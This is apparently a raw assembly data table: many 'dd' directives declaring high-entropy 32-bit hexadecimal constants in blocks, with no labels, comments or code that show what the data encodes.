dd 13EBFCEEh, 174DB451h, 1ED4F877h, 0ECFCEBDh, 0DF967737h
dd 36760A23h, 14FDA4A2h, 475905FBh, 485C26A1h, 67FC26ECh
dd 0A469BF8Fh, 0B7F4230Bh, 5991DEF5h, 0C0FFAB65h, 0F9D8F0BCh
dd 0F2511F6Ah, 0A450551Dh, 924462DFh, 66727117h, 655E76E6h
dd 835D7F8Dh, 0F3F3CD70h, 0C71B5B69h, 0E0618325h, 4300600Dh
dd 1BA0769h, 5A9CF07Eh, 0D92FCE5Ah, 6D5ADF35h, 0F82DE088h
dd 1A6EE8F8h, 47AB747Ch, 0D649D1FCh, 551097E3h, 9215365Ah
dd 7B7A21E3h, 0B8889A02h, 888841BFh, 5B7530EFh, 0E0467B04h
dd 0C99C0C15h, 0F9635DEDh, 21B3EE57h, 0DC5D0013h, 0E3CF70C1h
dd 0CC489F08h, 2F90F9BEh, 52DEBB59h, 3E8B4BE8h, 0EBF8C808h
dd 0C65B19FCh, 0A49C007Dh, 43146816h, 0F57DF365h, 0F0ED07E4h
dd 0C510DC59h, 73B15A36h, 0A513BB11h, 0A9DB3025h, 6FC18C55h
dd 0D0679EA1h, 438E4014h, 12E0F0F4h, 4B3D8033h, 74AD717Dh
dd 0A7D5D14Ah, 636E4913h, 0DBF9E55Ch, 2C469B29h, 0F99434BFh
dd 0AE2C44BCh, 521F5E23h, 1A4894EAh, 0BA2C25D3h, 6DFD4820h
dd 0A3EB4D32h, 1B860528h, 823AB35Fh, 0B5495A1h, 0FE7C026Ah
dd 2204059h, 2AD0652Ch, 74C3C49Ah, 2DDB153Ah, 5E4E37D8h
dd 0CEC6D8C2h, 0FC5B874Fh, 91BC6CDDh, 0E4EE981h, 0B70D9EE4h
dd 0EDBE56B0h, 6FF980F2h, 0F0DA9655h, 6BBA1ABFh, 0BCEE4F43h
dd 202AB9B2h, 28BC7CD2h, 6E1BEE63h, 9E965938h, 0F66095ABh
dd 0AEC239A2h, 0AE0AD64Ah, 0D91B78E4h, 56A2E466h, 6515D706h
dd 88BB0417h, 15E5C208h, 53C4C0F2h, 4F8BBE27h, 0ABCA9D30h
dd 0C5FA33DDh, 535A7DD3h, 8B8883A4h, 0C2519CE2h, 5042A82Fh
dd 0D8F262DFh, 2DE8B0DFh, 541D4509h, 0CB474762h, 5BCC6011h
dd 1A42C2BDh, 0E5BD6D63h, 0D0FF8417h, 1EA5796Ah, 738E60A7h
dd 40EC977Ah, 0C76970C8h, 6E102BAEh, 0C56DF187h, 0BE6E4BDEh
dd 0F2FB2855h, 10025DA2h, 0A8A5C198h, 0A7B2BC67h, 0D143BE0Fh
dd 6F4A0561h, 0A9B42E0Dh, 182978DFh, 0E642CE38h, 7964F31Bh
dd 0CC57E3FCh, 0E6552524h, 0F1583340h, 591F4094h, 32DBE945h
dd 7056D45h, 0C7833DA4h, 9A916037h, 0E2BC0EECh, 0FC4E66E4h
dd 0E4FD2901h, 5EB6B2CFh, 7BAF33B9h, 38B5C601h, 56553FB6h
dd 7EF3180Ah, 0AEC01C8Eh, 9EBE3E8Ah, 460B0BB7h, 0CD9B3154h
dd 0FD21C3F8h, 1642CD02h, 0A8380E2Eh, 929193E6h, 19E6D754h
dd 0D73AD2E5h, 0FA2742E1h, 5703C01Ch, 5AC8B3BAh, 0FFF1731Dh
dd 0B246D152h, 0FA67CD12h, 0EFFEBEC8h, 8654547Fh, 7EF3B45Fh
dd 1617A8F8h, 7A42E5A1h, 0E87A18D0h, 0B98BD6E3h, 92193B45h
dd 820016CBh, 0F47F14F5h, 0AF01B47Ah, 0B0B62D3Ah, 62C5641Fh
dd 4AAEC433h, 3C72935Dh, 0C14436FAh, 899A2380h, 99AA9E74h
dd 0AB089898h, 0D4572880h, 0A2BB2A79h, 0CFB9D837h, 0ECCBBECAh
dd 6F32AAE5h, 1C049058h, 492D631Fh, 9ADC216h, 0CFFCBE1Fh
dd 0B5AA81A3h, 4A929C26h, 0DD55A815h, 0B3BB983h, 0A5462340h
dd 10EEB0DBh, 2E7BEB57h, 1D3CDF13h, 40129F38h, 0E58EF278h
dd 0FE149E32h, 0E2D58217h, 414AB2D8h, 0C8D0508Eh, 821ED472h
dd 1250A904h, 39A15CF8h, 0BE1271C9h, 0D5FFAA00h, 3E9855ACh
dd 7BAAFECAh, 3D5EFD7Ah, 2212CC52h, 0BBB6AB36h, 86D741A1h
dd 7B82C16Bh, 4F3FE0BEh, 0C0FDE7F4h, 0EE1B8143h, 73956F86h
dd 0D03EA2A0h, 2AF15FA4h, 0F0A55EC5h, 403931F0h, 793E784h
dd 7F216D82h, 0DEEB9C4Bh, 2E885D60h, 714DAC66h, 64F1B209h
dd 0ABE248Ch, 0EA7089A5h, 4FC744E2h, 46744AB9h, 0CD5EA031h
dd 34E33C87h, 47694E0Fh, 8FB64FBEh, 99AC2D1Fh, 8EEB862Ch
dd 0A68B60B5h, 0C1C40DC4h, 40E16292h, 72218BE0h, 72ADBB44h
dd 0FB2F9E98h, 633CCFD9h, 0D6B47805h, 74D89D77h, 0E642493h
dd 3EFE55F1h, 28BEAEE2h, 12C9397Bh, 0EA898FF1h, 0BB69108Dh
dd 93EC08BAh, 0D6316D73h, 1E6A76D6h, 58E78AE6h, 0BA343FEFh
dd 5D6A50CDh, 0DCE9239h, 604DD3Dh, 4F385FCEh, 99FA5E9h
dd 4A26F78Bh, 29667810h, 14F5EEE7h, 2400B3BEh, 8D60B67Bh
dd 60C6CC53h, 6811F372h, 0A6A8C970h, 47A3D126h, 0B2099BF9h
dd 0C11EFE27h, 9364B502h, 4C99D926h, 8344BECAh, 2F39FE97h
dd 0CA2EFE1h, 0C9F1D2E2h, 0A1B87D3Ah, 64CE577Fh, 0F4279506h
dd 0BC8AE6D2h, 9C604813h, 40C5C5F9h, 3C77EF5Eh, 0CCD85D0Ah
dd 6B0162F3h, 6F02EC5Ch, 0F58BA2F6h, 14D0707Fh, 0A7689024h
dd 0DE7CC9C1h, 0CE8CD4ACh, 2E97AEC2h, 4D9FDC55h, 0BCEEA1D2h
dd 0A28B225Eh, 0B8C43C92h, 506F8D2Dh, 18AD3BD9h, 2273E20Dh
dd 0A1598188h, 51269EC2h, 9D8EC3Ch, 41CA5894h, 0B36BCC9Ah
dd 8E8054DEh, 0D3DBB1A5h, 8C58FFF9h, 2247E4B5h, 2ECDD7D9h
dd 218FCDEDh, 3D6E533Ch, 0E967852Ah, 55F1D2BAh, 730102C1h
dd 0F22B7395h, 274C82F8h, 0BA2B0290h, 0CB838FA1h, 183FEE95h
dd 5865C6DEh, 0B39EBED8h, 668C0CB1h, 0B35564E4h, 999E0A3Bh
dd 0E5280709h, 0DC7B942Fh, 0E6E47577h, 44F6591Dh, 325F72D1h
dd 0B29CCBEEh, 9543C874h, 87385F6h, 5B39FC8Bh, 0FEFDA112h
dd 0C3B2C093h, 6B6F0A50h, 0B4BB19B0h, 1B0E1A1Ah, 0FC5A68F2h
dd 0C603C1E9h, 9DCDA6FFh, 5352358Bh, 3BA4C62Fh, 71DF4C70h
dd 0EC5ECDFFh, 2B1B823Bh, 0E190A339h, 0E671F812h, 0A1BCB4A5h
dd 0C9BEEDB1h, 0A87DC881h, 250D54A4h, 1EA3B533h, 60CF04Ah
dd 84E13C9Fh, 0D3CE30ECh, 80807882h, 0BE2A2368h, 0BCB04D22h
dd 0C38906C1h, 85159534h, 0FD9F5C10h, 5BA6B56Bh, 39DD4FD8h
dd 3B0E0500h, 817FA213h, 8ABA0FBFh, 9BF64E24h, 931A981Fh
dd 0F371FA2Fh, 15C1890Fh, 0C5DB893Dh, 0A575E026h, 0F8ED01E5h
dd 1076483Fh, 0A48F9DCDh, 0DA772455h, 7EC7797h, 0A483218h
dd 0B9E74737h, 26F7C4BDh, 34F35DC7h, 6639B439h, 286BB90Dh
dd 0F70124C2h, 0CF6F0EDAh, 29678027h, 4F7EEC0Eh, 41415F9Eh
dd 8BBA4951h, 0E0E99A10h, 7BA3B9F7h, 92A7D6C8h, 0F06207F4h
dd 9CAD01E3h, 7DB39E0Dh, 4904523Ah, 7D90C27Ch, 0C831815Dh
dd 3F9211AFh, 0C2362855h, 14A7A26Eh, 2DD14E43h, 222A4292h
dd 0D01D8Bh, 268AB954h, 0E6CC9F25h, 7146D4A2h, 0EBED4D8h
dd 0DB639669h, 0B2885C95h, 0CDDE9375h, 0FDC0F39Ah, 67715D5Fh
dd 875A3786h, 21832898h, 0F89D181Dh, 8B190EACh, 88ED22D0h
dd 30AA2A81h, 27A1AF97h, 0B9E3B2E5h, 0EBD02430h, 2C45815h
dd 3D36CE50h, 1CC400A8h, 8D25F04Fh, 44A5B85h, 9A42AD84h
dd 0B6B970BDh, 154BAAC6h, 92062C36h, 26ED3216h, 0BA4346E9h
dd 5E0E472Dh, 515C1734h, 9C4AC51Ch, 0BC16819Eh, 0AC8B9AAAh
dd 45CEE7A7h, 152084FFh, 0F96C3074h, 5BCFA042h, 2C438CA8h
dd 0D45636D9h, 61822DC9h, 25FB51E1h, 84C50284h, 8F333F79h
dd 0A8165898h, 0C0FDC466h
dd 88C5B138h, 198B17C7h, 0AB0D5C4Ah, 0CAC9B5CCh, 0E988A303h
dd 0E2C072ABh, 3346B60Dh, 2CBECF8Dh, 0C018745Eh, 0A3D5C2BFh
dd 33330395h, 0EF0C785Ch, 52D6CC23h, 9DA593D0h, 642EFE3Fh
dd 0AE387EAAh, 265FC8C2h, 35B6F5C5h, 0A27212EFh, 5F1EF0F0h
dd 28680D82h, 9AC54DA1h, 1F1B055Dh, 0EAA4F508h, 10AFDD08h
dd 0A78B6CEFh, 0C395D973h, 0B97E2375h, 0C312F512h, 7E6FE877h
dd 0EF1135EAh, 12FE3ED6h, 0C42AF458h, 73CEC5FAh, 6F646602h
dd 0BB9A76A0h, 197B6B7Bh, 0E5A02469h, 0C022C96Dh, 37E4834Fh
dd 0D1E93DB6h, 0EB1CD9DAh, 0EBC0E645h, 3EC2156Fh, 261F41AEh
dd 9AB2CBF9h, 0EB3AB035h, 1AB5F7BAh, 874EC538h, 0F4AEAC12h
dd 0BFD00BAEh, 0F4CA8B5Bh, 0E41A7EABh, 0B31E384Eh, 1DC206BBh
dd 4C39C942h, 8425E6h, 6E0D9B1Dh, 2917B962h, 3B19CDFDh
dd 0C089EA34h, 0A13A0B8Ah, 0D9A68458h, 6287B518h, 0F1B30CBDh
dd 0AAA50689h, 30AFA02Fh, 3BE2616Eh, 0CCC5147Eh, 4E9CBBD1h
dd 6896DE29h, 337DE347h, 0F29AB636h, 0AB7AD2E9h, 2A31C740h
dd 2D1CDC0Ah, 31DDAD30h, 8A66061Fh, 0C9863F0Fh, 5F57B2Ch
dd 9C8C6B61h, 3F048903h, 7DD517DEh, 8E0010F5h, 5539BA90h
dd 9AA35FC9h, 9E28CC01h, 0F34B7B10h, 5D059EDFh, 4D71B801h
dd 97C5765Bh, 31D5A7BEh, 6944E904h, 0AC446978h, 5B69D8F7h
dd 0B87E6505h, 0ED3F8C7Ah, 26AD55F7h, 7D4C8225h, 5CEA8F95h
dd 0F1B9EF58h, 0EA94D335h, 0A79359BEh, 807E6DF4h, 10E10F35h
dd 0D520AE6Bh, 0B2F94BD3h, 70A4FF5Dh, 0A7CA287Dh, 87B209BDh
dd 0B20DF037h, 0F7146FD1h, 0CF321248h, 0ADCC6A42h, 8F66EA09h
dd 25F7D105h, 941D0DEDh, 0D35CB30Ah, 4CC0B17h, 0E67807C8h
dd 0E390B475h, 804F9AF1h, 1B045455h, 4EBF8E89h, 259A3676h
dd 0D1325AFCh, 0CD1546AFh, 17744A65h, 8F8E377h, 774AFB22h
dd 0E080670Eh, 73FA558Bh, 77D85596h, 0C4A88A2Eh, 0FCC811A8h
dd 1CBB0A33h, 19228DE2h, 0F619B4CCh, 583A146Fh, 8DD34542h
dd 768353BDh, 0BAA9898Ch, 0D707837Bh, 4CE5F69Fh, 25987F10h
dd 608E40E5h, 91176BACh, 7CE85C00h, 0B542BC9Bh, 10280B50h
dd 8737D5F3h, 27AB9371h, 0DB988B20h, 88583C7Bh, 0E96F1EAh
dd 12D3DAEAh, 4C1AEC0Ch, 9CB99604h, 27F23E0Eh, 8210B49Ch
dd 0A3206DA5h, 5325B399h, 0E64F3978h, 0C817CB21h, 0E7256196h
dd 89B8BB80h, 528551Bh, 60C193F5h, 9132D1D3h, 8247D9C6h
dd 8EA293BAh, 0FFA87B61h, 4B58DBF0h, 0C52A53h, 1A9F18E5h
dd 67BE3B30h, 0B85F120Ah, 0C127B762h, 0D8E54AF4h, 1016FDDh
dd 864349FAh, 0C69E0F71h, 0B7E2ACE6h, 9B3C3FAEh, 0E8F4052Bh
dd 133606E8h, 5B0AFD47h, 27B7173Bh, 0D81ED75Bh, 0EFBAB4F2h
dd 0D1CFC00h, 709E3E0Bh, 0DD105361h, 0EDA881A3h, 8DDA6F48h
dd 8BA387E0h, 82959AACh, 0A5190543h, 4199E1E4h, 7567EF4Ah
dd 667C0C72h, 79FBF99Ch, 0CA6A4486h, 849F0305h, 5021C883h
dd 0E43C393Fh, 89B5C87Dh, 3DE6EDCAh, 1E3A579Eh, 0D654991Ch
dd 0AA5D3637h, 454AEA78h, 0EA3F81BFh, 0A45CB2A2h, 0F3D20D14h
dd 9DE77F18h, 0A683183Ch, 0A901C9B7h, 0ECCF39EDh, 6DF82CC3h
dd 2C6ED431h, 1DFED08Bh, 0D7D9DA50h, 9FCCC4D4h, 2A22C947h
dd 0EBD06F8Ch, 0D39CA6A0h, 16D5EA0Dh, 848F1223h, 0F06B692Ch
dd 0CAFDDA91h, 6C19C6D4h, 9234EFBCh, 0D76A1785h, 0DCEC3996h
dd 9FD98051h, 0D9A220FCh, 0C7B0729h, 205BA142h, 21BC317Fh
dd 16DE9978h, 54ACE98Bh, 6B9D1567h, 56F0B80h, 885468E8h
dd 4674EC81h, 896A0185h, 38EEBE1Eh, 80E0B483h, 1F2F2160h
dd 0FC4CB1A9h, 7913FDE0h, 3C27868Ah, 0DEF1AFE1h, 0FBC261DAh
dd 7EB5910Eh, 0BCFECAFCh, 4363B901h, 1FC3E5E2h, 0AA79EBA6h
dd 4B62AEB0h, 6E179786h, 0E030E872h, 0D2E63773h, 19CF06EEh
dd 0A06F135Fh, 5CE0D83h, 9F9C957Ah, 3BDCEA19h, 561F0976h
dd 6717A80h, 0A615AEDBh, 0D5736AA8h, 4A90BE1Fh, 78491D74h
dd 0DFCCC06Bh, 4C6D0257h, 8E4A098Eh, 3099D2D8h, 9A646CE3h
dd 61514E11h, 4F4A2635h, 724476CCh, 7AF0B991h, 2F47835Fh
dd 0A7397101h, 0EBD5F9B4h, 0A212BA08h, 0C651861Ah, 469F301Ah
dd 3B2C5634h, 99AE54DDh, 4154B726h, 0D041415Fh, 731B2089h
dd 49482BA6h, 8AA9E7B5h, 44A408DFh, 1C7B42AEh, 0C27BE04Fh
dd 2778C122h, 98EB6C76h, 1DDFA66Ch, 2454E14Eh, 1EF43553h
dd 0B640153Ch, 0CB55DA7Bh, 3E358EC1h, 2BD4CBC1h, 85EE1E2Ch
dd 8ED0A37Ch, 1FC7C070h, 8886ABB2h, 4EB04F0Ah, 0E759A0DEh
dd 134F1EA4h, 4E547EC4h, 9DA1B43Ah, 0C834BE5Bh, 199CA3D2h
dd 18525B27h, 0FD4C4ABBh, 69C1A7BFh, 1590D4E1h, 0D20DCA04h
dd 349A59F5h, 40E067DEh, 0E7C6DCAAh, 28F43F7Bh, 69D44C8Eh
dd 1C21ABE1h, 9651FBB4h, 9EA360Ah, 24B0E587h, 41188270h
dd 1948F8D2h, 16FC43F1h, 5E378162h, 424288DAh, 209687F1h
dd 0DD33903Bh, 139B414Fh, 34CD82A8h, 80F50613h, 0E4E8FA9Ch
dd 0F1344195h, 390418A4h, 17178D43h, 0F7DA320Ah, 0D45D7389h
dd 0B1CD4700h, 0E8348029h, 6723DF59h, 23C2249Eh, 648C7194h
dd 7C7D76D3h, 5AA9A2D0h, 8A146F98h, 88E09E3Ch, 5B51C0C5h
dd 0ED66C515h, 0CD9A0780h, 0BAAF6164h, 59226100h, 0D1C7418Eh
dd 0FC55FAEBh, 0C58060ECh, 3779F927h, 0F21CDEC1h, 0A2CEA7A9h
dd 1DCD006Fh, 0F6167484h, 97324FA9h, 8AF8452Bh, 9CE0BFFDh
dd 9B4Ch, 0A82B2798h, 6ACE7992h, 0E3DC0ED2h, 0A8D7F610h
dd 93DFC00Dh, 562DE936h, 4A580B36h, 7EF6A06Bh, 1B804AC0h
dd 58ECF511h, 6BCACC9Dh, 0E42C002Ah, 570DD9A3h, 0BAB1C94Dh
dd 69B27D0Ch, 8B03F3ACh, 2255F2B4h, 9F1348AEh, 0C29EB50Dh
dd 943287F1h, 386E3DACh, 8CA1ADDBh, 0A89D9B8Eh, 2F2F8AE4h
dd 10C4432Bh, 0D55A348Eh, 50054620h, 9BA7E8E8h, 0BA2EB70Bh
dd 47478B9Ah, 0E7532889h, 84945297h, 6D374C7Bh, 8454BFF7h
dd 5B75F916h, 4DB73297h, 3E21EE23h, 232FB610h, 9057DC2Bh
dd 0FF9C2714h, 94D401CEh, 82B9FA59h, 2AFED6FAh, 69890150h
dd 511AFA32h, 0F6350467h, 6D77C899h, 6FBA7DC0h, 0B914F729h
dd 0C5C86884h, 0A46BA367h, 0C37E693h, 0E661FF28h, 3CA28222h
dd 4BF28E9Ah, 5397E4B8h, 0BC0222FDh, 6B7BB9C6h, 0D5004326h
dd 391CED34h, 906347FAh, 0E2D428E4h, 70870FDh, 0B9E2B850h
dd 0D745E441h, 0C0E66E9Eh, 0BE5564FDh, 0EF279AFFh, 2F1BAAE9h
dd 0FEBF3FBh, 74A33220h, 40FC1D10h, 0B913D443h, 9A58E7E4h
dd 0BDA60080h, 6142395Eh, 0EED5A355h, 0FD1DDC08h, 7AB2C9B4h
dd 0AEEEA242h, 9BB59EA8h, 497F1E1Dh, 0BAC3BC6Dh, 23CB99BAh
dd 0FF455EA0h, 48C2E234h, 0A73D3334h, 117C505Bh, 0D3B53271h
dd 41D650C5h, 62BA5742h, 7BB37763h, 0C2337612h, 14FD54ACh
dd 0F0FACC22h, 71FDFA13h, 35906EAFh, 41BD28C7h, 9DFEE8EAh
dd 0EEE9095Dh, 0B62713EFh, 106AA519h, 0B01E6241h, 6DF2D7C3h
dd 0C3A4CDCCh, 2E9DF49Dh, 0A7A18EADh, 9E78B70Ah, 1A900EABh
dd 46B361ACh, 9F04E0BEh, 94D921B0h, 3F4D62E8h, 0C6A43677h
dd 261BAA0h, 0B3AEFFDEh, 0C0C3BC8Eh, 5E870FF6h, 9809CB91h
dd 9B2019EEh, 0F67E3A20h, 58DF00CCh, 43C85EF6h, 64F54E69h
dd 0F1EAFBF1h, 0BD30CBC5h, 0BB934E2Bh, 0D4CEAE31h, 374F6EEDh
dd 79F258D0h, 9A6DE0DFh, 0A9C2721Fh, 135C94C7h, 412A8BAAh
dd 2C7C2B21h, 0FBA039E2h
dd 0AA38CBA4h, 0C07CC43Bh, 0E92E51C3h, 0F84A3D0Eh, 7039212Ah
dd 71630932h, 4708E74Eh, 4DB266F3h, 9C0DD813h, 57BCE563h
dd 0C60BA6Ch, 5B4AA142h, 1CB8B6D0h, 14CF00B4h, 8E8C0093h
dd 60FFB64Ch, 74D05E77h, 0A3C1D49Ch, 0EA8F6A3Ch, 35A2A500h
dd 82666DCBh, 8B9A03B6h, 0A0413014h, 5DBA3299h, 0C7C9C8E8h
dd 1956051Eh, 0C7AAB209h, 0D3175DAEh, 0FAB188EAh, 0FB431BD9h
dd 0A393B60Dh, 13928557h, 19F7622Eh, 0D8C8BF0Ch, 0CF934CEAh
dd 5A559592h, 8A41D90Bh, 0A560AD9Ah, 4736EB5Ah, 955CF4B3h
dd 1F4F7495h, 87CEF5CCh, 3B2A1342h, 355E7F45h, 0EBE59F04h
dd 3C57B0F8h, 399E3F82h, 0A394AC97h, 6CFB487h, 0BC80D0A2h
dd 234B9A3h, 0D777FA18h, 0A0B20380h, 75117FAEh, 4806BF76h
dd 35951503h, 6E701F01h, 9318D887h, 68649104h, 65E201DEh
dd 1470EA41h, 834D59FDh, 0EF646F86h, 80C7FB1Eh, 553E9D30h
dd 0A518EF3h, 32C3A26Dh, 0CE4D6E6Ch, 0A39682D1h, 0A9EA94D7h
dd 0F36F79DDh, 0F166AE7Bh, 728F052Ah, 64CDD93h, 0B96E4F53h
dd 101DE29Fh, 0BD93033Dh, 0F9A07879h, 4AE40F37h, 6F19554Fh
dd 90FD3CACh, 20841AB1h, 22EE53BCh, 8FD5A2ABh, 0BC759937h
dd 88B2B475h, 0FFD60B8Dh, 0A353D586h, 18EFAD14h, 0E5A58B49h
dd 2B2BB053h, 12982925h, 7246B734h, 21B954A4h, 4BB7DFDBh
dd 5873A73Ch, 6D9B60E3h, 0C628730Dh, 2F4BA213h, 90F671BBh
dd 1059F78Dh, 767010A6h, 5B0323EFh, 0D6A36C1Fh, 65DF340h
dd 0F4F898DEh, 8B41D25Bh, 0C564E18Fh, 5A84DBADh, 0EC5396CCh
dd 0CEAD4CB0h, 0EFA0AE3Fh, 0B4994CAFh, 0D5CD1C89h, 0CFDA5E02h
dd 0E6B113Bh, 400E0EB1h, 5260E8h, 115F5A3Bh, 2A43D597h
dd 0E173605Ah, 752EB27Ah, 213CAEACh, 554EC229h, 7FD6B4F5h
dd 1B955D0Dh, 850CC0F2h, 0FF0B638Bh, 0A7F48578h, 51C6E620h
dd 72D74FD7h, 0B89EDAE9h, 0C7CB0868h, 0B76D49F4h, 0ADA884F0h
dd 9AF31865h, 9363D3C9h, 0EB442717h, 8D38CDB2h, 986EC66Fh
dd 0D82BC107h, 79C60091h, 0A72B3078h, 635E3143h, 0B38D5054h
dd 0D6D6D692h, 0B4F49E1h, 49359CB0h, 9D7DE67Fh, 3413E07h
dd 9AEF944Bh, 0BD37C32Eh, 24E0CCC3h, 3A070824h, 0C0453339h
dd 8B9DBCCh, 4BFC5635h, 4F7BF210h, 5A54CAC3h, 60F32F5Dh
dd 0AD8E7B23h, 79CA4DBCh, 2237DE38h, 0F7901E30h, 17FC3AEEh
dd 35986FF7h, 4B57A9E1h, 95A11786h, 827549A2h, 1BEBC28Eh
dd 2275888h, 0A9D1B185h, 0F7A9E809h, 0EA533EDFh, 1D260BAFh
dd 94101C6Fh, 0FA80028Fh, 23B23C91h, 8E60728Eh, 92AB1D5Bh
dd 488E11E4h, 90C3ABD4h, 9C3B9AFFh, 883050BFh, 4243C036h
dd 4371AD02h, 2E50C337h, 0D508F7DCh, 0ED155FD0h, 65E023CEh
dd 0B50D613Fh, 5F324EEFh, 482DC578h, 8E11CD3Bh, 0C7944C84h
dd 545554CCh, 68E9D697h, 9A8F2766h, 98E636D5h, 210BD66h
dd 754CFF24h, 48ECF047h, 0D3B08E1Ch, 663452AEh, 0CB9E81CBh
dd 966BAA8Dh, 66806934h, 30D83215h, 0FBA1794Ah, 8478B882h
dd 0E592CADh, 0E56124A1h, 0CA809D4Ch, 25010519h, 7B74AE7Fh
dd 8E9734F3h, 4B401160h, 9FD70B82h, 76654517h, 929A447Dh
dd 53EE99D7h, 87D62BA5h, 37D73B56h, 2BACB670h, 92CF93C2h
dd 29DFE47Bh, 49624DAEh, 0A2D35103h, 428E97A1h, 0A97F8AB8h
dd 98E86814h, 0C3F05F30h, 3ACBE34Ch, 645DCE02h, 0C9FF9F21h
dd 8FA94BA6h, 0FC81B2Fh, 87FE9A97h, 56794118h, 1D7180E1h
dd 0FC5B6152h, 19AA8CD9h, 7AEC0977h, 46F638ABh, 20D51AB2h
dd 8B48E964h, 0AC040E0Bh, 369665AFh, 0A2DC17EFh, 0D51CD5A7h
dd 727E1FADh, 72334D38h, 2B128326h, 0FFBE6579h, 0C9E701C5h
dd 0EAB63F42h, 36066D01h, 0CB07CB7Bh, 0DED39C4h, 0AEEDDEC0h
dd 0FCAFA0F1h, 4B29B186h, 0AA75F188h, 930803D5h, 90738964h
dd 705C50CCh, 0D48C9310h, 0FB862A0Fh, 0F00EF186h, 9B98C2FCh
dd 61291603h, 2DDBE8E7h, 2FE13642h, 8BE9BE4Fh, 3F0F6E5Bh
dd 18331CD8h, 0D078F13Bh, 0E294C2C1h, 0FEC2A5C4h, 762B9F9h
dd 25E98F63h, 0F0186116h, 0E282DF52h, 13EE67E6h, 67441DD0h
dd 7B7D83B2h, 90A0A710h, 53CE41Fh, 6BF0BC63h, 9EAFA531h
dd 0D8320146h, 0BA667960h, 0B635AF8Ch, 8023A273h, 38211D80h
dd 0DBB66DBh, 9FE3E823h, 0A57B9B5Fh, 36F5E59Bh, 8DB8D41Ch
dd 61E5FB97h, 96C515A3h, 233739BDh, 3B8EB38Ch, 4850E0FDh
dd 737FDF58h, 5F7AE900h, 329FE716h, 3C4CB41Ch, 0BE7FFDB4h
dd 0D703DB4Bh, 1233CE70h, 435E768Dh, 0E49FEE5Bh, 0E5ACD163h
dd 0F0ADC334h, 0CDE33E27h, 435FB3F5h, 0CC3C8C2Eh, 927BE2C5h
dd 0DE5A67C5h, 0C3B5FE0Fh, 382A7A95h, 52EC775Ah, 58BA26A1h
dd 2695D849h, 8DD5C80h, 63AEC0CEh, 0F9AB2322h, 0B10C58E1h
dd 15FE714Eh, 0F9BC121Ah, 0B925093h, 1511904Dh, 40270D45h
dd 0ADE16F19h, 39DC3267h, 8FF656BFh, 9E280700h, 9230BE57h
dd 0BEA31B9Eh, 9224E1C4h, 0E2C28962h, 0D9B93C47h, 7868158Ch
dd 34FAA72h, 0A9797A72h, 0EC387889h, 3AA6A7ECh, 655872B0h
dd 82130B63h, 57C417EBh, 28D22893h, 13B1808Dh, 0F83A8613h
dd 6555A19Ch, 6B1CB7A5h, 7E7D4A51h, 561AFA69h, 75360915h
dd 0C800E829h, 210F2D50h, 0F14282A9h, 13AD5D42h, 3158B1DFh
dd 0B4FC636Eh, 6BA1A05Ah, 6D34F7C7h, 2D77BB3Ch, 7802E8ACh
dd 0E1038FE7h, 7AE64708h, 45C8A927h, 0C99D925h, 974B2B7Fh
dd 0E917412Ah, 0EB867F5Dh, 632D0FFEh, 45C385Ah, 6718D07h
dd 0A59ADC2Bh, 0CDCB98AAh, 26EA83DBh, 988A7B1Ch, 0E0D335DEh
dd 2354AA72h, 352E55DCh, 0F353160h, 0C2F69F5Ch, 5E59815h
dd 30CF50A1h, 0F4A3C5A9h, 742E9469h, 69682419h, 3A93EF1Bh
dd 8336FEB9h, 347057AEh, 48D16F09h, 8815972Ch, 9E3DBBFAh
dd 699A9585h, 476C9683h, 80ECF29Bh, 355AF9C7h, 7B0FD90Bh
dd 3BFA65F7h, 5804A7BAh, 1CE2D371h, 2F525D4Ah, 3C8FFE3Fh
dd 43E53D34h, 115915DDh, 62C4FFB4h, 0DCFD7238h, 5A8DBD57h
dd 159025D0h, 3D04BBCAh, 4703F2FFh, 0D0EA109Bh, 0A6CF5A3h
dd 0B4F58692h, 998ABCB3h, 8C1C564Fh, 6449F7A6h, 34CF7C3Eh
dd 0A898A718h, 4EACB9FFh, 0E977DDA6h, 34241725h, 19956598h
dd 7C2889BCh, 1D83AA4Dh, 4D91F7F5h, 235C60F8h, 0AC6873AFh
dd 289F4017h, 84F0750Ah, 482B6356h, 8EE80AAAh, 0F8AA1CDCh
dd 12928A8Ah, 92259811h, 5FD9C394h, 807036FCh, 0F74D7875h
dd 0DF55DF26h, 57E361B1h, 8BAD5F71h, 0D7822DCFh, 0CFC7789h
dd 840D805Eh, 0E02ED00Bh, 0E908D373h, 0CC52FE76h, 0CB37752Ch
dd 76C5A059h, 66235A4Dh, 7D15668Bh, 0BE1DFE87h, 8410C33Bh
dd 94F02FE6h, 45A121FAh, 1606A266h, 3844A09Ah, 3F21FCDBh
dd 0C0C11549h, 0CFE6AF05h, 0B4E75DAAh, 4C56EC64h, 5A58E016h
dd 0B971A990h, 733DB120h, 0F3BCAB79h, 15D4A6D6h, 67B035D7h
dd 29EF817Fh, 77B50975h, 4BE7D4B3h, 0E6F6F6B7h, 0D330AE63h
dd 4F4EA2E9h, 3E214B00h, 64C3D0E5h, 0F54BB94Ah, 22C50D48h
dd 0A10D6A80h, 233E4802h, 56A979D0h, 0BA4DD45Fh, 9A69B588h
dd 0D0EBF606h, 0E2D0596Dh, 0B8BFE1FEh, 9CC1A5DFh, 0AC6FEE08h
dd 2608F98Eh, 5F4AF00Eh, 6EA8DF07h, 20D78D59h, 0EDCE463Bh
dd 0FB919DB7h, 9D18E469h, 0C623E4Eh, 5029DBD9h, 6FA4D579h
dd 0AFE8A3DFh, 44B6762Ah, 767B4064h, 0A910C5B6h, 0D47F99D3h
dd 0CAD64A20h, 17CD10EBh
dd 0C9AF2D2Ah, 9A93D2A4h, 0DC6CE764h, 7FFBB3A7h, 0BA8A51ECh
dd 0A061127Fh, 0B64C2553h, 0E9F7ED57h, 5913074Bh, 6C7696C5h
dd 0CFA1FB46h, 4E7D215Dh, 82EAA07Ch, 0FC8A52EBh, 25F3EFDAh
dd 14ACEB6Ch, 0AB17448Fh, 92BB1E8Ah, 0B34C62A5h, 0AD704D70h
dd 227C0F3Bh, 898EDE7Eh, 5E6AFA58h, 0BCFCD41Dh, 10DA526Ch
dd 93092CFEh, 48BAEBFh, 864F303Ch, 21AE8692h, 0D3BB54E9h
dd 0BBE20763h, 2E4FF213h, 51235B78h, 301BD521h, 776DA4E7h
dd 2EBF3F88h, 0E322DB81h, 0C31CF906h, 2A5B7F52h, 0FD9C41DDh
dd 0E8C785FAh, 0B2B785D0h, 3DAD1BF5h, 0D78AB969h, 40682EC5h
dd 0C206C3E9h, 875E58F8h, 834497DDh, 2D0EBB82h, 4FFB7D45h
dd 0EBB85119h, 0CE6CDEF0h, 30433A02h, 70F1630Ah, 9A3C60CDh
